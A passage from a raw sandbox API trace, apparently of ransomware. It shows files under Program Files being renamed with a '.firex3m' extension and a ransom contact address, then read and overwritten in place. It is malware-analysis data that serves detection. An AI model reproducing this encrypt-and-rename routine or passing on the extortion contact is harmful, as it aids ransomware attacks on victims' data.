CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0237.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\VBAOWS10.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\vbaows10.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\VBAOWS10.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\vbaows10.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0237.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0237.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\VBAOWS10.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca99edb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca99edb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x411f5, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="VBAOWS10.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBAOWS~1.FIR")) returned 0x6d54c0 [0237.687] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0237.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\VBAOWS10.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\vbaows10.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0237.687] GetProcessHeap () returned 0x630000 [0237.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6faaf20 [0237.688] GetProcessHeap () returned 0x630000 [0237.688] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72a3b20 [0237.688] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.688] ReadFile (in: hFile=0x6c8, lpBuffer=0x6faaf20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faaf20*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0242.974] GetProcessHeap () returned 0x630000 [0242.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b4c8 [0242.974] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.974] WriteFile (in: hFile=0x6c8, lpBuffer=0x72a3b20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a3b20*, lpNumberOfBytesWritten=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0242.974] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.974] WriteFile (in: hFile=0x6c8, lpBuffer=0x72aef1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72aef1f*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0244.149] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.149] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0244.149] CloseHandle (hObject=0x6c8) returned 1 [0244.149] GetProcessHeap () returned 0x630000 [0244.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a3b20 | out: hHeap=0x630000) returned 1 [0244.149] GetProcessHeap () returned 0x630000 [0244.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faaf20 | out: hHeap=0x630000) returned 1 [0244.149] GetProcessHeap () returned 0x630000 [0244.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b4c8 | out: hHeap=0x630000) returned 1 [0244.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0244.150] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\VBAOWS10.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca99edb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca99edb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x577a163a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x41219, dwReserved0=0xab47496, dwReserved1=0x6faaf18, cFileName="VBAOWS10.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBAOWS~1.FIR")) returned 0x6d5440 [0244.150] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0244.150] Sleep (dwMilliseconds=0x1) [0245.721] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl", len=0x7b | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl") returned 1 [0245.721] GetProcessHeap () returned 0x630000 [0245.722] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e6c) returned 0x6fe3bb0 [0245.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0245.725] CloseHandle (hObject=0x414) returned 1 [0245.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.725] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\informix.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a8560d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x640069, dwReserved1=0x31002d, cFileName="Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INFORM~1.FIR")) returned 0x6d5040 [0245.728] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0245.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\informix.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0245.729] GetProcessHeap () returned 0x630000 [0245.729] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7b41) returned 0x71d5490 [0245.729] GetProcessHeap () returned 0x630000 [0245.729] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7b41) returned 0x74c9530 [0245.729] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.729] ReadFile (in: hFile=0x414, lpBuffer=0x71d5490, nNumberOfBytesToRead=0x7b20, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesRead=0x59bff0c*=0x7b20, lpOverlapped=0x0) returned 1 [0250.135] GetProcessHeap () returned 0x630000 [0250.135] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0250.136] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.136] WriteFile (in: hFile=0x414, lpBuffer=0x74c9530*, nNumberOfBytesToWrite=0x7b20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74c9530*, lpNumberOfBytesWritten=0x59bff0c*=0x7b20, lpOverlapped=0x0) returned 1 [0250.136] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.136] WriteFile (in: hFile=0x414, lpBuffer=0x74d104f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74d104f*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0250.136] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.136] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0250.136] CloseHandle (hObject=0x414) returned 1 [0250.136] GetProcessHeap () returned 0x630000 [0250.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74c9530 | out: hHeap=0x630000) returned 1 [0250.137] GetProcessHeap () returned 0x630000 [0250.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0252.062] GetProcessHeap () returned 0x630000 [0252.062] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0254.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5b09618f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7b4b, dwReserved0=0xab47496, dwReserved1=0x71d5488, cFileName="Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INFORM~1.FIR")) returned 0x6d5580 [0254.728] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0254.728] Sleep (dwMilliseconds=0x1) [0254.749] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.ELM", len=0x68 | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.ELM") returned 1 [0254.749] GetProcessHeap () returned 0x630000 [0254.749] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d80) returned 0x6fe3bb0 [0254.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\quad.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0255.148] CloseHandle (hObject=0x4e0) returned 1 [0255.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0255.148] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\quad.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\quad.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.149] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="QUAD.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="QUADEL~1.FIR")) returned 0x6d5540 [0255.149] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0255.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\quad.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0255.155] GetProcessHeap () returned 0x630000 [0255.155] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c30a8 [0255.155] GetProcessHeap () returned 0x630000 [0255.155] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70ce4d8 [0255.155] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.155] ReadFile (in: hFile=0x4e0, lpBuffer=0x70c30a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c30a8*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0259.665] GetProcessHeap () returned 0x630000 [0259.665] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0259.666] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.666] WriteFile (in: hFile=0x4e0, lpBuffer=0x70ce4d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ce4d8*, lpNumberOfBytesWritten=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0259.667] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.667] WriteFile (in: hFile=0x4e0, lpBuffer=0x70d98d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d98d7*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0259.667] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.667] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0259.667] CloseHandle (hObject=0x4e0) returned 1 [0259.668] GetProcessHeap () returned 0x630000 [0259.668] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ce4d8 | out: hHeap=0x630000) returned 1 [0259.668] GetProcessHeap () returned 0x630000 [0259.668] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c30a8 | out: hHeap=0x630000) returned 1 [0259.668] GetProcessHeap () returned 0x630000 [0259.668] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0261.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60b7bfd1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbbcb, dwReserved0=0xab47496, dwReserved1=0x70c30a0, cFileName="QUAD.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="QUADEL~1.FIR")) returned 0x6d5280 [0261.217] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0261.217] Sleep (dwMilliseconds=0x1) [0261.237] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\173.png", len=0x7a | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\173.png") returned 1 [0261.237] GetProcessHeap () returned 0x630000 [0261.237] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc8) returned 0x6fe3bb0 [0261.237] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\173.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\173.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.240] Sleep (dwMilliseconds=0x1) [0261.250] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\82.jpg", len=0x7c | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\82.jpg") returned 1 [0261.250] GetProcessHeap () returned 0x630000 [0261.250] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de0) returned 0x6fe3bb0 [0261.250] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\82.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\82.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.260] Sleep (dwMilliseconds=0x1) [0261.265] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileSmallSquare.scale-200.png", len=0x85 | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileSmallSquare.scale-200.png") returned 1 [0261.265] GetProcessHeap () returned 0x630000 [0261.265] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e5c) returned 0x6fe3bb0 [0261.265] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileSmallSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weather_tilesmallsquare.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.267] Sleep (dwMilliseconds=0x1) [0261.281] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", len=0x74 | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html") returned 1 [0261.281] GetProcessHeap () returned 0x630000 [0261.282] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e74) returned 0x6fe3bb0 [0261.282] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.282] Sleep (dwMilliseconds=0x1) [0261.298] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\2.rsrc", len=0x61 | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\2.rsrc") returned 1 [0261.298] GetProcessHeap () returned 0x630000 [0261.298] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e98) returned 0x6fe3bb0 [0261.298] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\2.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\2.rsrc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 